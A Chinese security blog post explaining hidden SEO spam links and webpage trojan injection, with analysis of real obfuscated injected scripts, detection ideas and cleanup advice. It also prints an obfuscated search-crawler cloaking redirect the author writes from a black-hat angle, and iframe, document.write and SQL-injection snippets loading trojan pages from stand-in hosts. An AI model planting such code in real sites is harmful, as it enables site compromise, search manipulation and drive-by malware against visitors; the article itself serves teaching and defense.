小言_互联网的博客

Web安全-浅析网页暗链与挂马攻击

4296人阅读  评论(0)

前言

近年来,随着国家相关部门对互联网安全事件的重视、部分软件开发厂商安全意识的提高,曾经红极一时的“挂马”攻击手段已经日趋减少,特别是 2009 年刑法明确“挂马”事件量刑标准之后,多个曾经猖狂一时的 ”挂马” 集团相继落网,“挂马”这种风险高且收益不稳定的攻击手段逐步为黑色产业链所抛弃。黑色产业链是否因为挂马的衰落而就此沉寂呢?答案是否定的,攻击手段日新月异,其中“暗链”是近年来较为严重的问题,也是攻击者所钟爱的新手法。

暗链现状

搜索引擎可以自动的爬取互联网中的信息,并根据一系列算法来评判这些信息的价值,当用户输入所需信息的一些特征(即关键词)时,搜索引擎根据这些特征来进行检索,并根据它所认定的价值高低来对检索到的信息进行排序,最终展示给用户。所以在搜索引擎的搜索结果中排名越靠前,说明搜索引擎认为它的价值越大,被人访问到的概率也越大。于是,网站在搜索引擎中有个比较靠前的排名成为绝大多数站长梦寐以求的事情。然而,随着搜索引擎的大规模应用,一些问题也随之出现……

  • 2011年6月,姚女士通过百度搜索“去哪儿网”,被欺骗访问到钓鱼网站,蒙受经济损失;
  • 2011年8月,数百名网友通过百度搜索“月饼团购”,被欺骗访问到钓鱼网站,蒙受经济损失;
  • 2011年底,蔡先生通过百度搜索“亚洲航空”,被欺骗访问到钓鱼网站,蒙受经济损失;
  • ……

在上述案例中,人们往往将问题归罪于百度公司的竞价排名策略。“竞价排名”是对搜索结果的一种人为干预,把本来搜索引擎认为价值不高的网站排在最前面,然后根据点击量收取费用。百度的竞价排名策略自推出以来一直为人们所诟病,百度也多次因此成为众矢之的。事实上,即使没有竞价排名,黑客仍然可以利用一些攻击手段,诱使搜索引擎将一个钓鱼网站认定为很有价值,并且排在搜索结果比较靠前的位置,甚至是第一位。

搜索引擎在判定一个网站价值时会参考其他网站的超链接。如果一个网站A有指向网站B的超链接,则搜索引擎会认为A的所有者认定B是有价值的,并乐意将自己的权重分给B。通常一个网站能分给另一个网站的权重很低,但是如果有大量的网站都链向该网站的话,积少成多,权重还是很可观的。我们可以设想,黑客仿照某银行网站开设了一个钓鱼网站,起初搜索引擎会认定该网站没有太大价值。但是,如果有大量的网站都存在超链接指向该钓鱼网站,每个网站都会分给该网站一定的权重,该钓鱼网站的权重甚至可能超过它所仿照的银行网站,排在该银行网站的前面。当用户通过搜索引擎搜索该银行网站时,可能出于对搜索引擎搜索结果的信任,访问到该钓鱼网站,从而导致银行账号、密码泄漏,甚至是经济损失。然而黑客想要获得大量网站的支持绝非易事,于是挂“暗链”成为一个不错的选择。

暗链隐蔽性

由此可以看出,“暗链”是一种搜索引擎优化的手段,用于提高它所指向的网站的搜索排名,是最有效的搜索引擎优化方法之一。“暗链”正如它的名字所描述的一样,是一种在网页页面上不可见或极易被忽视的超链接,并尽量不去破坏网页原有的结构。虽然这些超链接在网页页面上是“不可见”的,但是仍然可以在网页源代码中看到,所以搜索引擎仍然可以通过分析网页的源代码收录这些链接。然而,人们毕竟不是搜索引擎,往往不会去关注页面上看不到的东西,所以,暗链也很难会被人发觉,甚至能够与网站“长期共存,共同发展”。

植入暗链的方式大致有两种:一种是web应用开发厂商在应用中植入的,还有一种是黑客入侵网站之后植入的。从实际检测情况来看,前者的比例相对较少。也就是说,如果一个网站存在暗链,就说明这个网站很可能已经被黑客成功入侵,网站的注册用户信息可能已经泄露,网站提供下载的资源可能被绑定了木马或后门。然而,暗链本质上就是超链接,与我们常见的超链接并没有太大的不同,所以暗链并没有对用户构成实质性的威胁,安全软件自然也不会对暗链进行检测,更不会对暗链作出拦截或提示。

暗链产业链

目前挂暗链已经形成了一条完整的黑色产业链,并有取代挂马成为行业“领跑者”的趋势。据数据显示,挂马网站数量正日趋下降,而暗链逐步超越挂马成为威胁网站安全的头号敌人。暗链之所以被黑产从业者青睐,并逐步取代挂马,主要由于以下几个原因:

  • 风险低:我国刑法已明确挂马的量刑标准,而暗链尚无法律依据;
  • 投资少:几乎零成本,而挂马需要大量资金购买好用的网马、木马;
  • 收益稳定:只要约定时间内暗链没有被清除,黑客就可以获得收入;
  • 技术含量低:能够入侵网站即可,而挂马涉及到入侵网站、漏洞发掘、木马编写等技术;
  • 难以检测:暗链和普通超链接没有太大的不同,且没有实质性的威胁,所以程序很难准确的判断是否存在暗链。而挂马所使用的网马和木马都可能被杀毒软件拦截。

综合以上几条优势,很多原本挂马的集团都转型去挂暗链了。

在这条产业链中,分工明确:有专人负责攻击各类型网站,有人负责收购各类网站的权限,有人负责每天检查暗链是否被删除,有人负责联系客户,有客户购买服务,甚至有人负责编写自动化挂暗链的程序并出售。

挂暗链所使用的网站来源有两种:一种是黑客自己动手,攻击网站挂暗链;还有一种是收购其他黑客的权限。有时一个网站同时被多路黑客盯上,在页面中可以看到多组暗链链接,甚至代码中存在“删我链接,我删整站”、“各挂各的,和平共赢”等字样,警告其他黑客不要删除自己的链接,由此可以看出不同“暗链”集团间利益冲突很严重。

政府(gov.cn)和教育(edu.cn)类网站,备受暗链青睐,被挂网站数占该类型网站总数的30%以上,成为暗链的重灾区。暗链之所以青睐这两类网站,原因主要有以下几点:

  • 搜索引擎对这两类网站通常比较友好,分配的权重较其他类型的域名更高,用于搜索引擎优化的效果自然更好;
  • 这两类网站通常比较稳定,较少出现没几天就消失不见的情况;
  • 更新频率低,往往几个月不会更新一次,甚至没人维护;
  • 业务系统通常由当地小公司开发和运维,忽视安全问题,导致系统存在大量安全漏洞。

暗链的危害

暗链对于普通用户没有实质性的危害,但是暗链所指向的网站通常是不正规的网站,甚至是非法网站。据统计数据显示,暗链所指向的网站主要有以下几种类型:网游私服、医疗、博彩、色情、股票内幕信息和网游外挂。这些网站在通过大量暗链增加权重后,会排在搜索结果的前列。

  1. 当用户搜索某一特定关键词时,可能被欺骗至这些网站。例如用户通过搜索引擎搜索某个医院或某种疾病的治疗方法时,很可能被引导至一个非法小诊所,从而延误病情,甚至危及生命!
  2. 暗链是对搜索引擎的一种欺骗,导致搜索引擎的误判,将高权重分配给原本没有价值的网站甚至是钓鱼网站。这样极易导致用户对搜索引擎的不信任,甚至因为误导用户造成损失而引起法律纠纷。
  3. 暗链的存在往往标志着该网站存在安全漏洞,所以带有暗链的网站往往更容易被黑客入侵。此外,带有暗链的网站提供下载的资源也是不可信的,可能包含木马或后门。
  4. 暗链对政府网站来讲危害更大,当用户通过搜索引擎搜索某地政府网站时,可能从搜索引擎的描述中看到一些非法的关键词,从而影响政府的形象。境外敌对势力甚至可以根据政府网站是否存在暗链来判断一个政府网站是否存在安全漏洞,并决定是否发起攻击。成功入侵后,可以发布虚假政策信息造成群众对政府的不信任,制造政府与群众之间的矛盾,引发社会事件。

暗链的防御

暗链大都是网站被入侵之后植入的,所以修补安全漏洞、清除后门是防治暗链的根本。单纯清除暗链代码,黑客仍可以通过漏洞或后门侵入网站,再次植入暗链,甚至履行承诺——删除整个网站。有些小网站慑于黑客的威胁,甚至不敢删除暗链代码。

发现和解决漏洞是困扰站长的两大难题。如何判断网站被黑客入侵并挂了暗链,分析 Web 日志是一个不错的选择,通过检索日志中的特征词,可以快速定位到漏洞位置。但是分析 Web 日志需要有一定的经验,很多 Web 日志厂商提供了免费的网站安全体检服务,如知道创宇的 scanv.com,站长根据要求进行注册并完成验证后,可以收到一份网站的漏洞报告及修补意见,对于没有安全防护经验的站长来说,选择网站安全体检服务是个不错的选择。

若一个网站已经被入侵过了,单纯修补安全漏洞是不够的。黑客入侵一个网站之后,往往会留后门,以便下次入侵。后门不仅仅限于 Web 层面,还可能涉及到操作系统层面,例如系统隐藏账户、终端服务开启、远程控制软件等。这就需要我们更加深入地对网站做一个全面检测。

暗链实例

一个看似正常的网站:
但是查看其网站代码发现多处被修改:
下面对上面的网页暗链进行分析:

1、查看以上博彩网站的网页源码看到如下:
2、这一串直接 Unicode 编辑即可看到:
3、使用了 eval 函数加密的 js 代码,主要的恶意代码:

4、打开谷歌浏览器,然后 F12,打开 Console 一栏,直接把这段代码复制进去,去掉开头4个字母 eval,然后回车就可以看解密后的代码:
5、这是一段通过 16 进制的 script 病毒,可以使用 alert 函数来解密,打开记事本写入代码:

<script language="javascript">alert("");</script>

然后将需要解密的内容分别插入到 alert() 函数中,像这样:
6、然后保存为 html 文件并运行,就可以看到解密后的内容了:

7、更简单的方法是直接使用 在线解密工具解密,输入 \x77\x72\x69\x74\x65,这种16进制代码进行转义就行:

8、最终找到幕后黑手就是https://www.cpdas8.com/dd.js依然是一个 js 的脚本,访问看看:
攻击者通过入侵网站,修改了网站源码,将恶意代码写入了网页中,只要通过搜索引擎点击进来的都会跳转到博彩网站,也就是挂暗链!解决方法,尽快恢复网站备份源码,查杀木马,修补漏洞,以免再次被黑客入侵!

暗链技术

暗链是SEO手法中相当普遍的一种手段,笼统地说,它就是指一些人用非正常的手段获取的其它网站的反向链接,最常见的黑链就是通过各种网站程序漏洞获取搜索引擎权重或者PR较高的网站的Webshell,进而在被黑网站上链接自己的网站,其性质与明链一致,都是属于为高效率提升排名,而使用的作弊手法。

暗链分类

在学习分析暗链的过程中感觉很多文章都没有对暗链有一个统一的分类,有些文章甚至把挂马和暗链混为一潭,所以我在这里先把暗链分为这么两类,以便后续分析:

  1. HTML 隐藏型暗链——通过 css 或者 JavaScript 代码隐藏暗链,通常是通过 position 为负数,或者将 display 设置为 none 等方式来隐藏,目的是为了提升非法网站的 SEO 排名,但是这种暗链由于很容易被检测,所以已经越来越少了,现在的暗链大部分都是 JS 引入型暗链直接跳转。
  2. JS 引入型暗链——通过修改网站 title,引入外部 JavaScript 代码来将暗链植入被害网站,当用户通过搜索引擎搜索特定关键字时(你懂的)进入该网站,通过引入的外部 JavaScript 代码实现跳转到非法网站,上面演示的暗链实例就是这种类型。

HTML隐藏型

这种类型的暗链通过 CSS 或者 JavaScript 代码对暗链进行隐藏。

可隐藏 HTML 元素的属性 解释
display:none 把元素隐藏起来,并且会改变页面布局,可以理解成在页面中把该元素删除掉。当 display 设置为 none,任何对该元素直接的用户交互操作都不可能生效。
visibility:hidden 该元素隐藏起来了,不会改变页面布局,仍占据原有空间,但不会触发该元素已经绑定的事件
opacity:0;filter:alpha(opacity=0) 该元素隐藏起来了但不会改变页面布局,如果该元素已经绑定一些事件如 click 事件,那么点击该区域也能触发点击事件
position:absolute;top:-1000px;left:-1000px 这个方法是通过将 left 和 top 的值设的很大,让元素定位到浏览器外面,不占据空间且不能点击

1、通过 div 中的 display:none 直接来隐藏链接:

<div style="display:none">
      <a href="暗链接" target="_blank" >关键词 </a>
</div>

2、利用 css 中的位置属性来隐藏链接:

<div style="position:absolute;top:-1000px;left:-1000px;">
        <a href="暗链接" target="_blank" >关键词 </a>
</div>

3、链接颜色与背景色相同,链接文字使用低像素:

4、利用跑马灯 marquee 属性,链接以跑马灯形式迅速闪现,跑马灯的长宽设置很小,同时将闪现的频率设置很大,使得查看页面时不会有任何影响:

【小结】以上四种是惯用的挂暗链的方法,但目前的搜索引擎也开始对这些方法进行识别和打击,如果代码没有任何处理的话,那么这些外链将有可能全部被降权。即便如此,这几种仍然是目前最常见的暗链隐藏方法。为了不被搜索引擎识别,攻击者利用 JS 向页面中写入 ccs 样式,并设置其属性,见5,6。由于搜索引擎对这种JS代码的内部实质意义还无法识别,因此也成为了挂暗链的一种常见形式。

5、通过 javascript 来控制 html 中 document 的结构来隐藏链接(利用 JS 向页面中写入 ccs 样式):

<script type="text/javascript">
    document.write('<div style="display:none">');
</script>
    <a href="暗链接" target="_blank" >关键词 </a>
<script type="text/javascript">
    document.write('</div>');
</script>

6、利用JS修改样式属性:

7、利用遮挡层隐藏暗链,z-index属性可以设置元素的堆叠顺序,z-index值越小其堆叠顺序越靠后,因此可以利用其它层来遮挡暗链:

8、利用 iframe 创建隐藏的内联框架(marginWidth、marginHeight 为 0 则无法显示内联框,可隐藏暗链):

9、利用重定向机制:在跳转之前的页面写入不相关的链接,通过快速跳转到正常页面,使用户无法察觉:

利用 setTimeout 在跳转到正常页面 index.html 之前有 0.1s 停留在当前页面,页面中的暗链不易被察觉。

10、利用<meta>标签插入链接。位于网页html源码头部内的<meta>标签,提供有关页面的元信息,是搜索引擎判定网页内容的主要根据, 攻击者可以在标签中插入大量与网页不相关的词语以及链接。

实例演示

下面通过简单的示例代码,演示下第 1、2、5 种暗链隐藏方法,直接上示例代码:

<!DOCTYPE html>
<html>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<head>
<title>网页暗链 POC</title>
</head>
<body>
<img src="http://pic1.win4000.com/wallpaper/2018-03-19/5aaf2bf0122d2.jpg" height="600" width="800">

<div style="display:yes">
      <a href="https://bwshen.blog.csdn.net/" target="_blank" >美女手机号码 </a>
</div>

<script type="text/javascript">
    document.write('<div style="display:yes">');
</script>
        <a href="https://bwshen.blog.csdn.net/" target="_blank" >美女微信 </a>
<script type="text/javascript">
    document.write('</div>');
</script>

<div style="position:absolute;top:-1000px;left:-1000px;">
        <a href="https://bwshen.blog.csdn.net/" target="_blank" >关键词 </a>
</div>
</body>
</html>

页面效果如下:
点击下方链接将跳转到我的博客主页hh:
下面修改元素的属性对链接进行隐藏(暗链):
成功隐藏链接:

JS引入型暗链

JS引入型暗链——通过修改网站title,引入外部 JavaScript 代码来将暗链植入被害网站,当用户通过搜索引擎搜索特定关键字时(你懂的)进入该网站,通过引入的外部 JavaScript 代码实现跳转到非法网站,下面介绍几种常见的 JS 引入型暗链。

一、JavaScript 中 window 对象引入暗链

这种手法的原理是调用 widnows 对象中的 document.write 方法将外部的 JS 代码引入到当前页面,通常还会配合使用 16 进制编码来实现隐藏的目的。

1、废话不多讲,直接上案例:

2、上面黑客将网站的 title、keywords、description 都换成了10进制的 unicode 编码,这样的确能起到一些隐藏的作用,10进制 unicode 编码在浏览器解析的时候会还原成字符。

#20140;&#36187;&#36710;&#112;&#107;&#49;&#48;&#21382;&#21490;&#35760;&#24405;&#32;&#112;&#107;&#49;&#48;&#32593;&#19978;&#25237;&#27880;&#45;&#21271;&#20140;&#112;&#107;&#49;&#48;&#30452;&#25773;&#32593;</title> <meta name="keywords" content="&#21271;&#20140;&#112;&#107;&#49;&#48;&#24320;&#22870;&#30452;&#25773;&#44;&#112;&#107;&#49;&#48;&#24320;&#22870;&#30452;&#25773;&#44;&#21271;&#20140;&#36187;&#36710;&#112;&#107;&#49;&#48;&#24320;&#22870;&#32467;&#26524;&#44;&#21271;&#20140;&#36187;&#36710;&#112;&#107;&#49;&#48;&#24320;&#22870;&#30452;&#25773;&#44;&#21271;&#20140;&#36187;&#36710;&#112;&#107;&#49;&#48;&#25237;&#27880;&#32593;&#31449;&#44;&#112;&#107;&#49;&#48;&#32593;&#19978;&#24320;&#25143;&#44;&#112;&#107;&#49;&#48;&#32593;&#19978;&#25237;&#27880;&#44;&#21271;&#20140;&#36187;&#36710;&#35270;&#39057;&#32593;" /> <meta name="description" content="&#12304;&#49;&#49;&#48;&#48;&#107;&#97;&#105;&#46;&#99;&#111;&#109;&#12305;&#32463;&#21271;&#20140;&#31119;&#24425;&#23448;&#32593;&#25480;&#26435;&#44;&#25552;&#20379;&#21271;&#20140;&#36187;&#36710;&#112;&#107;&#49;&#48;&#21382;&#21490;&#35760;&#24405;&#44;&#21271;&#20140;&#36187;&#36710;&#112;&#107;&#49;&#48;&#24320;&#22870;&#35270;&#39057;&#44;&#21271;&#20140;&#36187;&#36710;&#24320;&#22870;&#32467;&#26524;&#26597;&#35810;&#44;&#21271;&#20140;&#36187;&#36710;&#112;&#107;&#49;&#48;&#22312;&#32447;&#25237;&#27880;&#44;&#112;&#107;&#49;&#48;&#32593;&#19978;&#24320;&#25143;&#44;&#26368;&#19987;&#19994;&#30340;&#21271;&#20140;&#36187;&#36710;&#30452;&#25773;&#32593;&#33;"/>

将这些十进制 unicode 编码丢到站长工具中解密,可以看到真实内容其实是这些:
3、接着分析 JavaScript 代码部分:

<script type="text/javascript"> window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"] ('\x3c\x73\x63\x72\x69\x70\x74 \x74\x79\x70\x65\x3d\x22\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22 \x73\x72\x63\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x73\x65\x6f\x32\x36\x38\x2e\x73\x75\x2e\x62\x63\x65\x62\x6f\x73\x2e\x63\x6f\x6d\x2f\x31\x31\x30\x30\x6b\x61\x69\x2e\x6a\x73\x22\x3e\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e'); </script>
<script>if(navigator.userAgent.toLocaleLowerCase().indexOf("baidu") == -1){
   document.title = "XXXXX科技有限公司"}</script>

可以看到他调用了 JavaScript 中的 windows 对象,然后使用的方法都使用了 16 进制的编码,因为 JavaScript 是支持 16 进制编码的,这样可以躲过一部分简单的检测工具,确实具有一些隐蔽性。JS 代码中调用 navigator 对象中的 useragent 方法判断用户访问的 useragent,如果不是通过百度点击跳转过来的(即直接输入网址进行访问的情况)就将 title 设置为正常的 title。

4、我们将上面这段代码中的 16 进制编码丢到16进制解密工具中:
这样可以看到,他其实是使用的 window 对象中的 document.wirte 方法,将一段外部 JavaScript 代码写入到了当前的页面,这样就完成了一段暗链的植入。

二、JavaScript 中 String.fromCharCode 方法引入暗链

这种引入方式也是现在比较多的一种,原理是通过 String.fromCharCode 函数将 10 进制 ascii 码转换为正常的字符,然后调用 document.wirte 方法写入当前页面,废话不多说,上案例。
1、前面的 title、keywords、description 还是那么的如出一辙,那么的熟悉的 10 进制 unicode 编码。放进站长工具转换一波。

2、下面分析 JavaScript 代码部分:

<script>if(navigator.userAgent.toLocaleLowerCase().indexOf("baidu") == -1){
   document.title ="系统登录,XXX管理系统 "}</script>
<script type="text/javascript"> var xt = String.fromCharCode(60,115,99,114,105,112,116,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,32,115,114,99,61,34,104,116,116,112,115,58,47,47,115,102,104,117,102,104,50,46,99,111,109,47,121,108,99,46,106,115,34,62,60,47,115,99,114,105,112,116,62,); document.write(xt); </script>

还是那个味儿,不过换成了 String.fromCharCode 方法配合 10 进制 ASCII 码 + document.write 方法实现。首先将这一串 10 进制 ASCII 码转换为了 String 字符串。我们可以使用 python 中的 chr() 方法解码得到他的真实字符串。

然后使用 document.wirte 方法将这串字符串写入到当前页面,这样就完成了外部 JavaScript 代码的引入,从而实现了暗链的植入。

三、使用十进制 unicode 编码引入 JavaScript

这种方法是通过引入 JavaScript 时,<script src="XX">通过将其中的 src 改为十进制 unicode 编码来实现的。这种方法不是在 JavaScript 上做文章,而是利用 html 的特性,使用十进制 unicode 编码改变<script>标签中的 src 来做文章。

废话不多说,上案例:
十进制 unicode 的编码的 title 啥的就不讨论了,前面已经讲过了,直接看 JavaScript 部分:

<script type="text/javascript" src="&#104;&#116;&#116;&#112;&#115;&#58;&#47;&#47;&#119;&#119;&#119;&#46;&#99;&#113;&#105;&#97;&#110;&#46;&#99;&#110;&#47;&#97;&#121;&#120;&#49;&#54;&#56;&#46;&#106;&#115;"></script>

可以看到黑客将 src 使用了十进制 unicode 编码,从而可以规避一些简单的或者肉眼的检测。我们将十进制 unicode 编码丢进站长工具中解码:

可以看到其引入的是一个外部的 JavaScript 代码,从而实现了暗链的植入,可以跟进去看看。
主要起作用的还是圈出的部分,上面是关于访问统计的代码。可以看到他先判断这个访问是不是通过搜索引擎过来的,如果是通过搜索引擎过来的(与之相反的情况是直接输入网址进行访问),才会进行跳转。太可恶了!

四、JavaScript 中 eval 函数混淆引入

先看 eval 函数的作用:
好家伙,是不是有点 webshell 那味儿了,但是这个方法在 JavaScript 中用的并不多。使用这个方法的地方一般是一些需要混淆加密的代码才用,黑客就利用上了这个来实现混淆加密自己的暗链。

废话不多说,直接上案例:

十进制 unicode 编码的 title 啥的我就不翻译了,上面都讲过了,直接开始分析 JavaScript 代码部分:

<script type="text/javascript">eval(function(p,a,c,k,e,d){
   e=function(c){
   return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){
   while(c--)d[e(c)]=k[c]||e(c);k=[function(e){
   return d[e]}];e=function(){
   return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('l["\\e\\c\\1\\n\\f\\8\\o\\0"]["\\7\\3\\9\\0\\8"](\'\\g\\2\\1\\3\\9\\4\\0 \\0\\m\\4\\8\\d\\6\\0\\8\\j\\0\\5\\h\\a\\k\\a\\2\\1\\3\\9\\4\\0\\6 \\2\\3\\1\\d\\6\\t\\0\\0\\4\\2\\u\\5\\5\\7\\7\\7\\b\\v\\1\\e\\a\\2\\q\\b\\1\\c\\f\\5\\r\\p\\s\\b\\h\\2\\6\\i\\g\\5\\2\\1\\3\\9\\4\\0\\i\');',32,32,'x74|x63|x73|x72|x70|x2f|x22|x77|x65|x69|x61|x2e|x6f|x3d|x64|x6d|x3c|x6a|x3e|x78|x76|window|x79|x75|x6e|x36|x38|x33|x35|x68|x3a|x62'.split('|'),0,{
   }))</script>

乍一看非常的懵逼,仔细一看还是懵逼,不过没关系,既然这么懵逼的东西浏览器可以解析,那就证明这东西可以逆着推。我们直接上前人写好的 eval 函数混淆工具,丢进去解密:
哦豁,可以看到解密之后原来是我前面说的第一中 Window 对象引入的手法呀,那么我们就可以重复前面的手法,解密 16 进制代码,得到真实内容如下:

其实还是使用了 document.write 方法将外部 JavaScript 代码引入当前页面,只不过使用了 eval 函数进行混淆罢了。其实细想想,eval 函数不仅可以配合我前面写的第一种方式引入,还可以配合第二种、第三种,因为 eval 函数的作用说白了就是混淆一遍代码。

暗链检测思路

正所谓“懒是人类进步的阶梯”,一切能用工具代替的工作我们人类尽量不要用手去做,所以我从几个方面思考了一下面对这种新时代暗链的自动化检测思路,得出下面这么几条心得,但是怎么去用代码实现,我这就不讨论了。

  1. 对于 Windows 对象引入的,判断其是否使用了 16 进制代码,如果使用了,那么怀疑度+1。然后再判断 16 进制代码解析之后的内容,如果出现了 script 字样,到这基本就可以判断是不是暗链了。如果还是觉得不保险,可以看其是否引入了外部 js,如果引入了,再结合威胁情报等工具,就可以做出判断了。
  2. 对于使用十进制 ASCII 码进行伪装的暗链,可以判断其变量是否被 document.wirte 对象引用了,如果引用了再判断其十进制 ASCII 码的内容,剩下的步骤和上面一样。
  3. 对于改变 script 标签 src 属性的暗链,可以直接翻译其 10 进制 unicode 编码,结合威胁情报或者跟进 JavaScript 代码等方式进行判断。
  4. 对于 eval 函数混淆的暗链,可以先走一个逆向的过程,然后的分析步骤就和上面三种一样了。

暗链实例编写

从上面的内容可以看到,JS 引入型的暗链相对于 HTML 隐藏型的暗链隐藏得深得多且不易被检测,JS 引入型的暗链正常去访问是不会触发的,而当百度等搜索引擎的爬虫去爬取该页面时,就会进行跳转,从而将爬虫引入到黑客指定的站点,来提升指定站点的排名。

下面我们尝试从黑帽 SEO 的角度来思考问题和编写代码。我实现的方式是通过 js 判断 ua,来识别是否是百度爬虫,从而决定是否跳转。

1、代码很简单,具体如下:

<script>
window.onload = function(){
   
	var keyword = "baidu"; //关键字
	var my_site = "https://bwshen.blog.csdn.net/"; //要跳转到的网站
	var ua = navigator.userAgent;
	if(ua.toLowerCase().indexOf(keyword) >= 0){
    //判断ua是否是百度爬虫
		window.location.href=my_site;
	}
}
</script>

2、为了加强隐僻性,我们使用 在线JS混淆加密压缩 对以上代码进行混淆和压缩:
3、最终测试页面代码为:

<html>
    <head>
         <title>test for hack seo</title>
		 <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
    </head>
    <body>
        <h1>test for hack seo!</h1>
    </body>
    <script>
		eval(function(p,a,c,k,e,d){
   e=function(c){
   return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){
   while(c--)d[e(c)]=k[c]||e(c);k=[function(e){
   return d[e]}];e=function(){
   return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('5.c=a(){1 2="b";1 3="8://d.7.6.9/";1 4=j.i;k(4.h().e(2)>=0){5.f.g=3}}',21,21,'|var|keyword|my_site|ua|window|csdn|blog|https|net|function|baidu|onload|bwshen|indexOf|location|href|toLowerCase|userAgent|navigator|if'.split('|'),0,{
   }))
     </script>
</html>

4、进行效果演示前,先为 chrome 浏览器添加一个百度爬虫的 UA,以便模拟百度爬虫流量网页:
其中 User-agent 的值为:

Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)

【注意】使用 burp 或者 chrome 插件 User-Agent Switcher Options 修改的 UA 是无效的,因为它们只是修改了浏览器发送的数据包中的 UA,而没有修改浏览器真正的 UA。

5、接下来将上面准备好的测试页面放在本地 Phpstudy 网站根目录下,然后在谷歌浏览器中进行正常访问,并未发生跳转:

6、最后使用百度爬虫请求头进行访问,可成功跳转到我的博客主页:
刷新页面如下:

网页挂马

什么是网页挂马

要解释什么是网页挂马,要先从木马说起。大家知道,木马是一类恶意程序,和其它的正常文件一样存在于计算机系统中。这些恶意程序一旦运行,会连接到远处的控制端,使其享有恶意程序所在系统的大部分操作权限,例如给计算机增删密码,浏览、移动、复制、删除文件,修改注册表,更改计算机配置等各种有害操作,而这些操作往往不被使用者察觉。将木马与网页结合起来成为网页木马,表面看似正常的网页,当浏览者浏览该网页的同时也运行了木马程序。网页木马利用系统、浏览器或浏览器相关插件自身存在的漏洞,自动下载已经放置在远端的恶意程序。由于下载过程利用了软件上的漏洞,是非正常途径,不会被计算机系统或浏览器本身所察觉。网页挂马指的是攻击者篡改了正常的网页,向网页中插入一段代码,当用户浏览网页的同时执行这段代码,将引导用户去浏览放置好的网页木马。使用一些特别的技术可以使得这段代码的执行对用户来说不可见。

网页挂马的危害性

浏览器、应用软件或系统总是存在各种各样的漏洞,只要这些漏洞能够被利用并执行任意代码,那么存在漏洞的系统就有可能受到网页木马攻击。网页挂马的技术门槛并不高,互联网上可以得到很多现成的攻击工具。同时网页木马隐蔽性高,挂马所用代码在浏览器中的执行、网页木马的执行和恶意程序的下载运行,用户都无法察觉。网页挂马的传播范围同被挂马网页的数量和浏览量成正比。各种类型的网站都可以成为网页挂马的对象。上述这些原因使得网页挂马成为攻击者传播木马或病毒的最有效手段之一。

网页木马下载的木马病毒通常用于盗窃银行卡、网游、电子邮件或即时聊天工具(如腾讯QQ)的账号密码,或窃取私密文件(如私人照片视频等)或私人信息。这些内容一旦泄露,往往会对受害者造成物质或精神上的损失。网页挂马的危害性可见一斑。

常见挂马类型

攻击者往往利用 SQL 注入、文件包含、跨站脚本、目录穿越等常见的网站漏洞获取到网站的某些权限,并上传 Webshell 等黑客工具对网页进行修改,这就是常说的网页篡改。一般网页挂马都是通过网页篡改来实现的。网页挂马的方式有很多,下面是几种常见的类型。

1、 iframe 标签

这是最常见的挂马方式。只要不破坏原始文件的代码逻辑,通常可以插入文件的任何地方,也叫做框架挂马。它所利用的代码是:

<iframe src=http://www.webtrojan.com/trojan.html width=0 height=0></iframe>

当被挂马的网页在浏览器中显示时,这段代码也同时被执行,指引浏览器去访问加载了网页木马的页面。由于标签的高度和宽度都设置为0,用户在浏览网页时不会察觉到浏览器访问了这个页面。

另外还有一些标签,例如 “body”,以及CSS中的 “style” 等,都可以用作挂马的代码,基本原理和 “iframe” 标签相同。下图展示了利用 iframe 标签进行挂马的方式:

如图所示,如果浏览器访问了正常网页(http://www.normalwebpage.com/normal.html),也就访问了 iframe 标签中所指向的网页木马(http://www.webtrojan.com/trojan.html),而这个网页木马会利用系统上的漏洞去下载木马程序(trojan.exe)。实际中为了增加隐蔽性,攻击者可能会增加中间的跳跃环节,使得真正的网页木马难以跟踪,但攻击流程都相同。

2、 Javascript 脚本

利用 Javascript 脚本可以动态创建一个窗口并调用网页木马,即如下的代码:

<script language=Javascript>
   document.write("<iframe <iframe src=http://www.webtrojan.com/trojan.html width=0 height=0></iframe>")
</script>

在这里实际的 “iframe” 标签挂马成为 document.write 函数参数,依然有同样的效果。还可以做的更隐蔽一些,插入网页的代码为:

<script language=Javascript src="http://www.yourjavascript.com/abc.js"></script>

而文件http://www.yourjavascript.com/abc.js的内容为:

document.write('<iframe src="http://www.webtrojan.com/trojan.html " width=0 height=0></iframe>');

此时文件 abc.js 相当于在网站和网页木马之间建立了一个中转站,这个文件可以放在攻击者认为更加安全可靠且网站浏览者能够访问到的地方。此时正常页面中就完全是一个一般的 Javascript 脚本内容,更加难以察觉。

3、 结合SQL注入

如果通过SQL注入的方法可以直接修改后台数据库的内容,那么攻击者就可以将要插入的代码直接写入到数据库中。假设某个数据库中存放的是广告页面,其中每个表项都有一个列用来存放广告页面的链接地址。攻击者可以将插入的代码放到链接地址中,如:

update news set title=<iframe src=http://www.webtrojan.com/trojan.htm width=0 height=0></iframe>’

这样所有调用并显示该广告的网页都将被挂马。

4、图片伪装

还可以利用图片木马生成器产生一个含有木马的图片,并修改图片名称,以吸引上网者浏览这些图片。如图:

这里的 usa.gif 文件实际上是一个网页木马,当浏览器打开这个图片时,该木马就会自动运行。

5、URL 欺骗

攻击者可以通过各种技术手段对实际的网页木马URL进行伪装。下面的代码就是一种常见的形式。

<html>
<a href="http://www.163.com" onMouseOver="www_163_com(); return true;"> www.163.com </a>
<Script Language="JavaScript">
function www_163_com ()
{
    
  var url="http://192.168.66.181/wrsky.html";
  open(url,"NewWindow","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,copyhistory=yes,width=800,height=600,left=10,top=10");
}
</Script>
</html>

